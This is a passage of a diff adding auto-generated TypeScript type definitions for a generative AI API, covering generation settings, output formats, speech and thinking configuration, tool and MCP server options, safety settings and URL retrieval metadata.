FunctionDeclarationBehaviorEnumKey + /** + * @description Required. The name of the function. Must be a-z, A-Z, 0-9, or contain underscores, colons, dots, and dashes, with a maximum length of 128. + * @type string | undefined + */ + name?: string + /** + * @description Optional. Describes the parameters to the function in JSON Schema format. The schema must describe an object where the properties are the parameters to the function. For example: ``` { "type": "object", "properties": { "name": { "type": "string" }, "age": { "type": "integer" } }, "additionalProperties": false, "required": ["name", "age"], "propertyOrdering": ["name", "age"] } ``` This field is mutually exclusive with `parameters`. + * @type unknown | undefined + */ + parametersJsonSchema?: unknown + /** + * @description Optional. Describes the output from this function in JSON Schema format. The value specified by the schema is the response value of the function. This field is mutually exclusive with `response`. + * @type unknown | undefined + */ + responseJsonSchema?: unknown + /** + * @description The `Schema` object allows the definition of input and output data types. These types can be objects, but also primitives and arrays. Represents a select subset of an [OpenAPI 3.0 schema object](https://spec.openapis.org/oas/v3.0.3#schema). + * @type object | undefined + */ + response?: Schema +} + +export const imageResponseFormatMimeTypeEnum = { + MIME_TYPE_UNSPECIFIED: 'MIME_TYPE_UNSPECIFIED', + IMAGE_JPEG: 'IMAGE_JPEG', +} as const + +export type ImageResponseFormatMimeTypeEnumKey = + (typeof imageResponseFormatMimeTypeEnum)[keyof typeof imageResponseFormatMimeTypeEnum] + +export const imageResponseFormatDeliveryEnum = { + DELIVERY_UNSPECIFIED: 'DELIVERY_UNSPECIFIED', + INLINE: 'INLINE', + URI: 'URI', +} as const + +export type ImageResponseFormatDeliveryEnumKey = + (typeof imageResponseFormatDeliveryEnum)[keyof typeof imageResponseFormatDeliveryEnum] + +export const imageResponseFormatImageSizeEnum = { + IMAGE_SIZE_UNSPECIFIED: 'IMAGE_SIZE_UNSPECIFIED', + IMAGE_SIZE_FIVE_TWELVE: 'IMAGE_SIZE_FIVE_TWELVE', + IMAGE_SIZE_ONE_K: 'IMAGE_SIZE_ONE_K', + IMAGE_SIZE_TWO_K: 'IMAGE_SIZE_TWO_K', + IMAGE_SIZE_FOUR_K: 'IMAGE_SIZE_FOUR_K', +} as const + +export type ImageResponseFormatImageSizeEnumKey = + (typeof imageResponseFormatImageSizeEnum)[keyof typeof imageResponseFormatImageSizeEnum] + +export const imageResponseFormatAspectRatioEnum = { + ASPECT_RATIO_UNSPECIFIED: 'ASPECT_RATIO_UNSPECIFIED', + ASPECT_RATIO_ONE_BY_ONE: 'ASPECT_RATIO_ONE_BY_ONE', + ASPECT_RATIO_TWO_BY_THREE: 'ASPECT_RATIO_TWO_BY_THREE', + ASPECT_RATIO_THREE_BY_TWO: 'ASPECT_RATIO_THREE_BY_TWO', + ASPECT_RATIO_THREE_BY_FOUR: 'ASPECT_RATIO_THREE_BY_FOUR', + ASPECT_RATIO_FOUR_BY_THREE: 'ASPECT_RATIO_FOUR_BY_THREE', + ASPECT_RATIO_FOUR_BY_FIVE: 'ASPECT_RATIO_FOUR_BY_FIVE', + ASPECT_RATIO_FIVE_BY_FOUR: 'ASPECT_RATIO_FIVE_BY_FOUR', + ASPECT_RATIO_NINE_BY_SIXTEEN: 'ASPECT_RATIO_NINE_BY_SIXTEEN', + ASPECT_RATIO_SIXTEEN_BY_NINE: 'ASPECT_RATIO_SIXTEEN_BY_NINE', + ASPECT_RATIO_TWENTY_ONE_BY_NINE: 'ASPECT_RATIO_TWENTY_ONE_BY_NINE', + ASPECT_RATIO_ONE_BY_EIGHT: 'ASPECT_RATIO_ONE_BY_EIGHT', + ASPECT_RATIO_EIGHT_BY_ONE: 'ASPECT_RATIO_EIGHT_BY_ONE', + ASPECT_RATIO_ONE_BY_FOUR: 'ASPECT_RATIO_ONE_BY_FOUR', + ASPECT_RATIO_FOUR_BY_ONE: 'ASPECT_RATIO_FOUR_BY_ONE', +} as const + +export type ImageResponseFormatAspectRatioEnumKey = + (typeof imageResponseFormatAspectRatioEnum)[keyof typeof imageResponseFormatAspectRatioEnum] + +/** + * @description Configuration for image output format. + * @type object + */ +export type ImageResponseFormat = { + /** + * @description Optional. The MIME type of the image output. + * @type string | undefined + */ + mimeType?: ImageResponseFormatMimeTypeEnumKey + /** + * @description Optional. The delivery mode for the image output. + * @type string | undefined + */ + delivery?: ImageResponseFormatDeliveryEnumKey + /** + * @description Optional. The size of the image output. + * @type string | undefined + */ + imageSize?: ImageResponseFormatImageSizeEnumKey + /** + * @description Optional. The aspect ratio for the image output. + * @type string | undefined + */ + aspectRatio?: ImageResponseFormatAspectRatioEnumKey +} + +export const textResponseFormatMimeTypeEnum = { + MIME_TYPE_UNSPECIFIED: 'MIME_TYPE_UNSPECIFIED', + APPLICATION_JSON: 'APPLICATION_JSON', + TEXT_PLAIN: 'TEXT_PLAIN', +} as const + +export type TextResponseFormatMimeTypeEnumKey = + (typeof textResponseFormatMimeTypeEnum)[keyof typeof textResponseFormatMimeTypeEnum] + +/** + * @description Configuration for text output format. + * @type object + */ +export type TextResponseFormat = { + /** + * @description Optional. The MIME type of the text output. + * @type string | undefined + */ + mimeType?: TextResponseFormatMimeTypeEnumKey + /** + * @description Optional. The JSON schema that the output should conform to. Only applicable when mime_type is APPLICATION_JSON. + * @type unknown | undefined + */ + schema?: unknown +} + +/** + * @description Configuration for the response output format. This is a flat object where each optional sub-field configures a specific output modality. + * @type object + */ +export type ResponseFormatConfig = { + /** + * @description Configuration for audio output format. + * @type object | undefined + */ + audio?: AudioResponseFormat + /** + * @description Configuration for image output format. + * @type object | undefined + */ + image?: ImageResponseFormat + /** + * @description Configuration for text output format. + * @type object | undefined + */ + text?: TextResponseFormat +} + +/** + * @description The configuration for the prebuilt speaker to use. + * @type object + */ +export type PrebuiltVoiceConfig = { + /** + * @description Optional. The name of the preset voice to use. + * @type string | undefined + */ + voiceName?: string +} + +/** + * @description The configuration for the voice to use. + * @type object + */ +export type VoiceConfig = { + /** + * @description The configuration for the prebuilt speaker to use. + * @type object | undefined + */ + prebuiltVoiceConfig?: PrebuiltVoiceConfig + /** + * @description Optional. The speaker identifier for synthesis. Supported formats: * Speaker name for prebuilt voices (for example, `Orus` or `Kore`). * Voice ID for stored voices (for example, `voice_xxx`). * Voice replication key (for example, `voicekey_xxx`). + * @type string | undefined + */ + voice?: string +} + +/** + * @description The configuration for a single speaker in a multi speaker setup. + * @type object + */ +export type SpeakerVoiceConfig = { + /** + * @description Required. The name of the speaker to use. Should be the same as in the prompt. + * @type string | undefined + */ + speaker?: string + /** + * @description The configuration for the voice to use. + * @type object | undefined + */ + voiceConfig?: VoiceConfig +} + +/** + * @description The configuration for the multi-speaker setup. + * @type object + */ +export type MultiSpeakerVoiceConfig = { + /** + * @description Required. All the enabled speaker voices. + * @type array | undefined + */ + speakerVoiceConfigs?: SpeakerVoiceConfig[] +} + +/** + * @description Config for speech generation and transcription. + * @type object + */ +export type SpeechConfig = { + /** + * @description The configuration for the multi-speaker setup. + * @type object | undefined + */ + multiSpeakerVoiceConfig?: MultiSpeakerVoiceConfig + /** + * @description Optional. The IETF [BCP-47](https://www.rfc-editor.org/rfc/bcp/bcp47.txt) language code that the user configured the app to use. Used for speech recognition and synthesis. Valid values are: `de-DE`, `en-AU`, `en-GB`, `en-IN`, `en-US`, `es-US`, `fr-FR`, `hi-IN`, `pt-BR`, `ar-XA`, `es-ES`, `fr-CA`, `id-ID`, `it-IT`, `ja-JP`, `tr-TR`, `vi-VN`, `bn-IN`, `gu-IN`, `kn-IN`, `ml-IN`, `mr-IN`, `ta-IN`, `te-IN`, `nl-NL`, `ko-KR`, `cmn-CN`, `pl-PL`, `ru-RU`, and `th-TH`. + * @type string | undefined + */ + languageCode?: string + /** + * @description The configuration for the voice to use. + * @type object | undefined + */ + voiceConfig?: VoiceConfig +} + +/** + * @description Config for translation features. + * @type object + */ +export type TranslationConfig = { + /** + * @description Optional. If true, the model will generate audio when the target language is spoken, essentially it will parrot the input. If false, we will not produce audio for the target language. + * @type boolean | undefined + */ + echoTargetLanguage?: boolean + /** + * @description Required. The target language for translation. Supported values are BCP-47 language codes (e.g. "en", "es", "fr"). + * @type string | undefined + */ + targetLanguageCode?: string +} + +export const thinkingConfigThinkingLevelEnum = { + THINKING_LEVEL_UNSPECIFIED: 'THINKING_LEVEL_UNSPECIFIED', + MINIMAL: 'MINIMAL', + LOW: 'LOW', + MEDIUM: 'MEDIUM', + HIGH: 'HIGH', +} as const + +export type ThinkingConfigThinkingLevelEnumKey = + (typeof thinkingConfigThinkingLevelEnum)[keyof typeof thinkingConfigThinkingLevelEnum] + +/** + * @description Config for thinking features. + * @type object + */ +export type ThinkingConfig = { + /** + * @description Indicates whether to include thoughts in the response. If true, thoughts are returned only when available. + * @type boolean | undefined + */ + includeThoughts?: boolean + /** + * @description Optional. Controls the maximum depth of the model's internal reasoning process before it produces a response. The default value is model-dependent. Refer to the [Thinking levels guide](https://aistudio.google.com/docs/thinking#thinking-levels) for more details. Recommended for Gemini 3 or later models. Use with earlier models results in an error. + * @type string | undefined + */ + thinkingLevel?: ThinkingConfigThinkingLevelEnumKey + /** + * @description The number of thoughts tokens that the model should generate. + * + * Format: `int32` + * @type integer | undefined + */ + thinkingBudget?: number +} + +/** + * @description Config for image generation features. + * @type object + */ +export type ImageConfig = { + /** + * @description Optional. Specifies the size of generated images. Supported values are `512`, `1K`, `2K`, `4K`. If not specified, the model will use default value `1K`. + * @type string | undefined + */ + imageSize?: string + /** + * @description Optional. The aspect ratio of the image to generate. Supported aspect ratios: `1:1`, `1:4`, `4:1`, `1:8`, `8:1`, `2:3`, `3:2`, `3:4`, `4:3`, `4:5`, `5:4`, `9:16`, `16:9`, or `21:9`. If not specified, the model will choose a default aspect ratio based on any reference images provided. + * @type string | undefined + */ + aspectRatio?: string +} + +export const generationConfigMediaResolutionEnum = { + MEDIA_RESOLUTION_UNSPECIFIED: 'MEDIA_RESOLUTION_UNSPECIFIED', + MEDIA_RESOLUTION_LOW: 'MEDIA_RESOLUTION_LOW', + MEDIA_RESOLUTION_MEDIUM: 'MEDIA_RESOLUTION_MEDIUM', + MEDIA_RESOLUTION_HIGH: 'MEDIA_RESOLUTION_HIGH', +} as const + +export type GenerationConfigMediaResolutionEnumKey = + (typeof generationConfigMediaResolutionEnum)[keyof typeof generationConfigMediaResolutionEnum] + +export const generationConfigResponseModalitiesEnum = { + MODALITY_UNSPECIFIED: 'MODALITY_UNSPECIFIED', + TEXT: 'TEXT', + IMAGE: 'IMAGE', + AUDIO: 'AUDIO', +} as const + +export type GenerationConfigResponseModalitiesEnumKey = + (typeof generationConfigResponseModalitiesEnum)[keyof typeof generationConfigResponseModalitiesEnum] + +/** + * @description Configuration options for model generation and outputs. Not all parameters are configurable for every model. + * @type object + */ +export type GenerationConfig = { + /** + * @description Optional. Number of generated responses to return. If unset, this will default to 1. Please note that this doesn't work for previous generation models (Gemini 1.0 family) + * + * Format: `int32` + * @type integer | undefined + */ + candidateCount?: number + /** + * @description Configuration for the response output format. This is a flat object where each optional sub-field configures a specific output modality. + * @type object | undefined + */ + responseFormat?: ResponseFormatConfig + /** + * @description Optional. An internal detail. Use `responseJsonSchema` rather than this field. + * @type unknown | undefined + */ + responseJsonSchema?: unknown + /** + * @description Optional. Controls the randomness of the output. Note: The default value varies by model, see the `Model.temperature` attribute of the `Model` returned from the `getModel` function. Values can range from [0.0, 2.0]. This field is no longer supported and is silently ignored on Gemini 3.6 Flash and newer models. + * + * Format: `float` + * @type number | undefined + */ + temperature?: number + /** + * @description Optional. The maximum cumulative probability of tokens to consider when sampling. The model uses combined Top-k and Top-p (nucleus) sampling. Tokens are sorted based on their assigned probabilities so that only the most likely tokens are considered. Top-k sampling directly limits the maximum number of tokens to consider, while Nucleus sampling limits the number of tokens based on the cumulative probability. Note: The default value varies by `Model` and is specified by the`Model.top_p` attribute returned from the `getModel` function. An empty `top_k` attribute indicates that the model doesn't apply top-k sampling and doesn't allow setting `top_k` on requests. This field is no longer supported and is silently ignored on Gemini 3.6 Flash and newer models. + * + * Format: `float` + * @type number | undefined + */ + topP?: number + /** + * @description Optional. Seed used in decoding. If not set, the request uses a randomly generated seed. + * + * Format: `int32` + * @type integer | undefined + */ + seed?: number + /** + * @description Optional. Only valid if response_logprobs=True. This sets the number of top logprobs, including the chosen candidate, to return at each decoding step in the Candidate.logprobs_result. The number must be in the range of [0, 20]. + * + * Format: `int32` + * @type integer | undefined + */ + logprobs?: number + /** + * @description Optional. If specified, the media resolution specified will be used. + * @type string | undefined + */ + mediaResolution?: GenerationConfigMediaResolutionEnumKey + /** + * @description Optional. Output schema of the generated response. This is an alternative to `response_schema` that accepts [JSON Schema](https://json-schema.org/). If set, `response_schema` must be omitted, but `response_mime_type` is required. While the full JSON Schema may be sent, not all features are supported. Specifically, only the following properties are supported: - `$id` - `$defs` - `$ref` - `$anchor` - `type` - `format` - `title` - `description` - `enum` (for strings and numbers) - `items` - `prefixItems` - `minItems` - `maxItems` - `minimum` - `maximum` - `anyOf` - `oneOf` (interpreted the same as `anyOf`) - `properties` - `additionalProperties` - `required` The non-standard `propertyOrdering` property may also be set. Cyclic references are unrolled to a limited degree and, as such, may only be used within non-required properties. (Nullable properties are not sufficient.) If `$ref` is set on a sub-schema, no other properties, except for than those starting as a `$`, may be set. Deprecated. Use `response_format` instead. + * @type unknown | undefined + */ + _responseJsonSchema?: unknown + /** + * @description Config for speech generation and transcription. + * @type object | undefined + */ + speechConfig?: SpeechConfig + /** + * @description The `Schema` object allows the definition of input and output data types. These types can be objects, but also primitives and arrays. Represents a select subset of an [OpenAPI 3.0 schema object](https://spec.openapis.org/oas/v3.0.3#schema). + * @type object | undefined + */ + responseSchema?: Schema + /** + * @description The audio transcription configuration. + * @type object | undefined + */ + audioTranscriptionConfig?: AudioTranscriptionConfig + /** + * @description Optional. MIME type of the generated candidate text. Supported MIME types are: `text/plain`: (default) Text output. `application/json`: JSON response in the response candidates. `text/x.enum`: ENUM as a string response in the response candidates. Refer to the [docs](https://aistudio.google.com/docs/file-input-methods#text-file-types) for a list of all supported text MIME types. + * @type string | undefined + */ + responseMimeType?: string + /** + * @description Optional. Presence penalty applied to the next token's logprobs if the token has already been seen in the response. This penalty is binary on/off and not dependant on the number of times the token is used (after the first). Use frequency_penalty for a penalty that increases with each use. A positive penalty will discourage the use of tokens that have already been used in the response, increasing the vocabulary. A negative penalty will encourage the use of tokens that have already been used in the response, decreasing the vocabulary. + * + * Format: `float` + * @type number | undefined + */ + presencePenalty?: number + /** + * @description Optional. The maximum number of tokens to consider when sampling. Gemini models use Top-p (nucleus) sampling or a combination of Top-k and nucleus sampling. Top-k sampling considers the set of `top_k` most probable tokens. Models running with nucleus sampling don't allow top_k setting. Note: The default value varies by `Model` and is specified by the`Model.top_p` attribute returned from the `getModel` function. An empty `top_k` attribute indicates that the model doesn't apply top-k sampling and doesn't allow setting `top_k` on requests. This field is no longer supported and is silently ignored on Gemini 3.6 Flash and newer models. + * + * Format: `int32` + * @type integer | undefined + */ + topK?: number + /** + * @description Config for translation features. + * @type object | undefined + */ + translationConfig?: TranslationConfig + /** + * @description Optional. If enabled, the model will detect emotions and adapt its responses accordingly. + * @type boolean | undefined + */ + enableAffectiveDialog?: boolean + /** + * @description Optional. Enables enhanced civic answers. It may not be available for all models. + * @type boolean | undefined + */ + enableEnhancedCivicAnswers?: boolean + /** + * @description Optional. The set of character sequences (up to 5) that will stop output generation. If specified, the API will stop at the first appearance of a `stop_sequence`. The stop sequence will not be included as part of the response. + * @type array | undefined + */ + stopSequences?: string[] + /** + * @description Optional. The maximum number of tokens to include in a response candidate. Note: The default value varies by model, see the `Model.output_token_limit` attribute of the `Model` returned from the `getModel` function. + * + * Format: `int32` + * @type integer | undefined + */ + maxOutputTokens?: number + /** + * @description Config for thinking features. + * @type object | undefined + */ + thinkingConfig?: ThinkingConfig + /** + * @description Optional. Frequency penalty applied to the next token's logprobs, multiplied by the number of times each token has been seen in the respponse so far. A positive penalty will discourage the use of tokens that have already been used, proportional to the number of times the token has been used: The more a token is used, the more difficult it is for the model to use that token again increasing the vocabulary of responses. Caution: A _negative_ penalty will encourage the model to reuse tokens proportional to the number of times the token has been used. Small negative values will reduce the vocabulary of a response. Larger negative values will cause the model to start repeating a common token until it hits the max_output_tokens limit. + * + * Format: `float` + * @type number | undefined + */ + frequencyPenalty?: number + /** + * @description Optional. The requested modalities of the response. Represents the set of modalities that the model can return, and should be expected in the response. This is an exact match to the modalities of the response. A model may have multiple combinations of supported modalities. If the requested modalities do not match any of the supported combinations, an error will be returned. An empty list is equivalent to requesting only text. + * @type array | undefined + */ + responseModalities?: GenerationConfigResponseModalitiesEnumKey[] + /** + * @description Optional. If true, export the logprobs results in response. + * @type boolean | undefined + */ + responseLogprobs?: boolean + /** + * @description Config for image generation features. + * @type object | undefined + */ + imageConfig?: ImageConfig +} + +/** + * @description The GoogleMaps Tool that provides geospatial context for the user's query. + * @type object + */ +export type GoogleMaps = { + /** + * @description Optional. Whether to return a widget context token in the GroundingMetadata of the response. Developers can use the widget context token to render a Google Maps widget with geospatial context related to the places that the model references in the response. + * @type boolean | undefined + */ + enableWidget?: boolean +} + +/** + * @description Standard web search for grounding and related configurations. + * @type object + */ +export type WebSearch = object + +/** + * @description Image search for grounding and related configurations. + * @type object + */ +export type ImageSearch = object + +/** + * @description Different types of search that can be enabled on the GoogleSearch tool. + * @type object + */ +export type SearchTypes = { + /** + * @description Standard web search for grounding and related configurations. + * @type object | undefined + */ + webSearch?: WebSearch + /** + * @description Image search for grounding and related configurations. + * @type object | undefined + */ + imageSearch?: ImageSearch +} + +/** + * @description Represents a time interval, encoded as a Timestamp start (inclusive) and a Timestamp end (exclusive). The start must be less than or equal to the end. When the start equals the end, the interval is empty (matches no time). When both start and end are unspecified, the interval matches any time. + * @type object + */ +export type Interval = { + /** + * @description Optional. Exclusive end of the interval. If specified, a Timestamp matching this interval will have to be before the end. + * + * Format: `google-datetime` + * @type string | undefined + */ + endTime?: string + /** + * @description Optional. Inclusive start of the interval. If specified, a Timestamp matching this interval will have to be the same or after the start. + * + * Format: `google-datetime` + * @type string | undefined + */ + startTime?: string +} + +/** + * @description GoogleSearch tool type. Tool to support Google Search in Model. Powered by Google. + * @type object + */ +export type GoogleSearch = { + /** + * @description Different types of search that can be enabled on the GoogleSearch tool. + * @type object | undefined + */ + searchTypes?: SearchTypes + /** + * @description Represents a time interval, encoded as a Timestamp start (inclusive) and a Timestamp end (exclusive). The start must be less than or equal to the end. When the start equals the end, the interval is empty (matches no time). When both start and end are unspecified, the interval matches any time. + * @type object | undefined + */ + timeRangeFilter?: Interval +} + +/** + * @description Tool to retrieve public web data for grounding, powered by Google. + * @type object + */ +export type GoogleSearchRetrieval = { + /** + * @description Describes the options to customize dynamic retrieval. + * @type object | undefined + */ + dynamicRetrievalConfig?: DynamicRetrievalConfig +} + +/** + * @description An object that represents a latitude/longitude pair. This is expressed as a pair of doubles to represent degrees latitude and degrees longitude. Unless specified otherwise, this object must conform to the WGS84 standard. Values must be within normalized ranges. + * @type object + */ +export type LatLng = { + /** + * @description The latitude in degrees. It must be in the range [-90.0, +90.0]. + * + * Format: `double` + * @type number | undefined + */ + latitude?: number + /** + * @description The longitude in degrees. It must be in the range [-180.0, +180.0]. + * + * Format: `double` + * @type number | undefined + */ + longitude?: number +} + +/** + * @description A transport that can stream HTTP requests and responses. + * @type object + */ +export type StreamableHttpTransport = { + /** + * @description Optional: Fields for authentication headers, timeouts, etc., if needed. + * @type object | undefined + */ + headers?: { + [key: string]: string + } + /** + * @description Whether to close the client session when the transport closes. + * @type boolean | undefined + */ + terminateOnClose?: boolean + /** + * @description Timeout for SSE read operations. + * + * Format: `google-duration` + * @type string | undefined + */ + sseReadTimeout?: string + /** + * @description HTTP timeout for regular operations. + * + * Format: `google-duration` + * @type string | undefined + */ + timeout?: string + /** + * @description The full URL for the MCPServer endpoint. Example: "https://api.example.com/mcp" + * @type string | undefined + */ + url?: string +} + +/** + * @description A MCPServer is a server that can be called by the model to perform actions. It is a server that implements the MCP protocol. + * @type object + */ +export type McpServer = { + /** + * @description A transport that can stream HTTP requests and responses. + * @type object | undefined + */ + streamableHttpTransport?: StreamableHttpTransport + /** + * @description The name of the MCPServer. + * @type string | undefined + */ + name?: string +} + +/** + * @description Retrieval config. + * @type object + */ +export type RetrievalConfig = { + /** + * @description Optional. The language code of the user. Language code for content. Use language tags defined by [BCP47](https://www.rfc-editor.org/rfc/bcp/bcp47.txt). + * @type string | undefined + */ + languageCode?: string + /** + * @description An object that represents a latitude/longitude pair. This is expressed as a pair of doubles to represent degrees latitude and degrees longitude. Unless specified otherwise, this object must conform to the WGS84 standard. Values must be within normalized ranges. + * @type object | undefined + */ + latLng?: LatLng +} + +export const safetySettingCategoryEnum = { + HARM_CATEGORY_UNSPECIFIED: 'HARM_CATEGORY_UNSPECIFIED', + HARM_CATEGORY_DEROGATORY: 'HARM_CATEGORY_DEROGATORY', + HARM_CATEGORY_TOXICITY: 'HARM_CATEGORY_TOXICITY', + HARM_CATEGORY_VIOLENCE: 'HARM_CATEGORY_VIOLENCE', + HARM_CATEGORY_SEXUAL: 'HARM_CATEGORY_SEXUAL', + HARM_CATEGORY_MEDICAL: 'HARM_CATEGORY_MEDICAL', + HARM_CATEGORY_DANGEROUS: 'HARM_CATEGORY_DANGEROUS', + HARM_CATEGORY_HARASSMENT: 'HARM_CATEGORY_HARASSMENT', + HARM_CATEGORY_HATE_SPEECH: 'HARM_CATEGORY_HATE_SPEECH', + HARM_CATEGORY_SEXUALLY_EXPLICIT: 'HARM_CATEGORY_SEXUALLY_EXPLICIT', + HARM_CATEGORY_DANGEROUS_CONTENT: 'HARM_CATEGORY_DANGEROUS_CONTENT', + HARM_CATEGORY_CIVIC_INTEGRITY: 'HARM_CATEGORY_CIVIC_INTEGRITY', + HARM_CATEGORY_JAILBREAK: 'HARM_CATEGORY_JAILBREAK', +} as const + +export type SafetySettingCategoryEnumKey = + (typeof safetySettingCategoryEnum)[keyof typeof safetySettingCategoryEnum] + +export const safetySettingThresholdEnum = { + HARM_BLOCK_THRESHOLD_UNSPECIFIED: 'HARM_BLOCK_THRESHOLD_UNSPECIFIED', + BLOCK_LOW_AND_ABOVE: 'BLOCK_LOW_AND_ABOVE', + BLOCK_MEDIUM_AND_ABOVE: 'BLOCK_MEDIUM_AND_ABOVE', + BLOCK_ONLY_HIGH: 'BLOCK_ONLY_HIGH', + BLOCK_NONE: 'BLOCK_NONE', + OFF: 'OFF', +} as const + +export type SafetySettingThresholdEnumKey = + (typeof safetySettingThresholdEnum)[keyof typeof safetySettingThresholdEnum] + +/** + * @description Safety setting, affecting the safety-blocking behavior. Passing a safety setting for a category changes the allowed probability that content is blocked. + * @type object + */ +export type SafetySetting = { + /** + * @description Required. The category for this setting. + * @type string | undefined + */ + category?: SafetySettingCategoryEnumKey + /** + * @description Required. Controls the probability threshold at which harm is blocked. + * @type string | undefined + */ + threshold?: SafetySettingThresholdEnumKey +} + +/** + * @description Tool to support URL context retrieval. + * @type object + */ +export type UrlContext = object + +/** + * @description Tool details that the model may use to generate response. A `Tool` is a piece of code that enables the system to interact with external systems to perform an action, or set of actions, outside of knowledge and scope of the model. + * @type object + */ +export type Tool = { + /** + * @description GoogleSearch tool type. Tool to support Google Search in Model. Powered by Google. + * @type object | undefined + */ + googleSearch?: GoogleSearch + /** + * @description The GoogleMaps Tool that provides geospatial context for the user's query. + * @type object | undefined + */ + googleMaps?: GoogleMaps + /** + * @description Computer Use tool type. + * @type object | undefined + */ + computerUse?: ComputerUse + /** + * @description Tool to support URL context retrieval. + * @type object | undefined + */ + urlContext?: UrlContext + /** + * @description Optional. MCP Servers to connect to. + * @type array | undefined + */ + mcpServers?: McpServer[] + /** + * @description Tool to retrieve public web data for grounding, powered by Google. + * @type object | undefined + */ + googleSearchRetrieval?: GoogleSearchRetrieval + /** + * @description Tool that executes code generated by the model, and automatically returns the result to the model. See also `ExecutableCode` and `CodeExecutionResult` which are only generated when using this tool. + * @type object | undefined + */ + codeExecution?: CodeExecution + /** + * @description The FileSearch tool that retrieves knowledge from Semantic Retrieval corpora. Files are imported to Semantic Retrieval corpora using the ImportFile API. + * @type object | undefined + */ + fileSearch?: FileSearch + /** + * @description Optional. A list of `FunctionDeclarations` available to the model that can be used for function calling. The model or system does not execute the function. Instead the defined function may be returned as a FunctionCall with arguments to the client side for execution. The model may decide to call a subset of these functions by populating FunctionCall in the response. The next conversation turn may contain a FunctionResponse with the Content.role "function" generation context for the next model turn. + * @type array | undefined + */ + functionDeclarations?: FunctionDeclaration[] +} + +/** + * @description The Tool configuration containing parameters for specifying `Tool` use in the request. + * @type object + */ +export type ToolConfig = { + /** + * @description Configuration for specifying function calling behavior. + * @type object | undefined + */ + functionCallingConfig?: FunctionCallingConfig + /** + * @description Optional. If true, the API response will include the server-side tool calls and responses within the `Content` message. This allows clients to observe the server's tool interactions. + * @type boolean | undefined + */ + includeServerSideToolInvocations?: boolean + /** + * @description Retrieval config. + * @type object | undefined + */ + retrievalConfig?: RetrievalConfig +} + +/** + * @description Identifier for a part within a `GroundingPassage`. + * @type object + */ +export type GroundingPassageId = { + /** + * @description Output only. ID of the passage matching the `GenerateAnswerRequest`'s `GroundingPassage.id`. + * @type string | undefined + */ + passageId?: string + /** + * @description Output only. Index of the part within the `GenerateAnswerRequest`'s `GroundingPassage.content`. + * + * Format: `int32` + * @type integer | undefined + */ + partIndex?: number +} + +/** + * @description Identifier for a `Chunk` retrieved via Semantic Retriever specified in the `GenerateAnswerRequest` using `SemanticRetrieverConfig`. + * @type object + */ +export type SemanticRetrieverChunk = { + /** + * @description Output only. Name of the source matching the request's `SemanticRetrieverConfig.source`. Example: `corpora/123` or `corpora/123/documents/abc` + * @type string | undefined + */ + source?: string + /** + * @description Output only. Name of the `Chunk` containing the attributed text. Example: `corpora/123/documents/abc/chunks/xyz` + * @type string | undefined + */ + chunk?: string +} + +/** + * @description Identifier for the source contributing to this attribution. + * @type object + */ +export type AttributionSourceId = { + /** + * @description Identifier for a part within a `GroundingPassage`. + * @type object | undefined + */ + groundingPassage?: GroundingPassageId + /** + * @description Identifier for a `Chunk` retrieved via Semantic Retriever specified in the `GenerateAnswerRequest` using `SemanticRetrieverConfig`. + * @type object | undefined + */ + semanticRetrieverChunk?: SemanticRetrieverChunk +} + +/** + * @description Information about a single recognized word. + * @type object + */ +export type WordInfo006B2905 = { + /** + * @description Optional. End offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Required. Transcript of the word. + * @type string | undefined + */ + word?: string + /** + * @description Optional. Start offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object + */ +export type AudioTranscription76Fa200F = { + /** + * @description Optional. Detailed word-level transcriptions and timing details. Present when word_timestamp is set. + * @type array | undefined + */ + words?: WordInfo006B2905[] + /** + * @description Optional. A label identifying the speaker of this audio segment (e.g. "spk_1", "spk_2"). Present when diarization is set. + * @type string | undefined + */ + speakerLabel?: string + /** + * @description Required. The transcription text of this audio segment. + * @type string | undefined + */ + text?: string +} + +export const urlMetadataUrlRetrievalStatusEnum = { + URL_RETRIEVAL_STATUS_UNSPECIFIED: 'URL_RETRIEVAL_STATUS_UNSPECIFIED', + URL_RETRIEVAL_STATUS_SUCCESS: 'URL_RETRIEVAL_STATUS_SUCCESS', + URL_RETRIEVAL_STATUS_ERROR: 'URL_RETRIEVAL_STATUS_ERROR', + URL_RETRIEVAL_STATUS_PAYWALL: 'URL_RETRIEVAL_STATUS_PAYWALL', + URL_RETRIEVAL_STATUS_UNSAFE: 'URL_RETRIEVAL_STATUS_UNSAFE', +} as const + +export type UrlMetadataUrlRetrievalStatusEnumKey = + (typeof urlMetadataUrlRetrievalStatusEnum)[keyof typeof urlMetadataUrlRetrievalStatusEnum] + +/** + * @description Context of the a single url retrieval. + * @type object + */ +export type UrlMetadata = { + /** + * @description Retrieved url by the tool. + * @type string | undefined + */ + retrievedUrl?: string + /** + * @description Status of the url retrieval. + * @type string | undefined + */ + urlRetrievalStatus?: UrlMetadataUrlRetrievalStatusEnumKey +} + +/** + * @description Metadata related to url context retrieval tool. + * @type object + */ +export type UrlContextMetadata = { + /** + * @description List of url context. + * @type array | undefined + */ + urlMetadata?: UrlMetadata[] +} + +export const toolResponseCa581A5EToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolResponseCa581A5EToolTypeEnumKey = + (typeof toolResponseCa581A5EToolTypeEnum)[keyof typeof toolResponseCa581A5EToolTypeEnum] + +/** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object + */ +export type ToolResponseCa581A5E = { + /** + * @description Optional. The tool response. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Required. The type of tool that was called, matching the `tool_type` in the corresponding `ToolCall`. + * @type string | undefined + */ + toolType?: ToolResponseCa581A5EToolTypeEnumKey + /** + * @description Optional. The identifier of the tool call this response is for. + * @type string | undefined + */ + id?: string +} + +export const executableCode200029D6LanguageEnum = { + LANGUAGE_UNSPECIFIED: 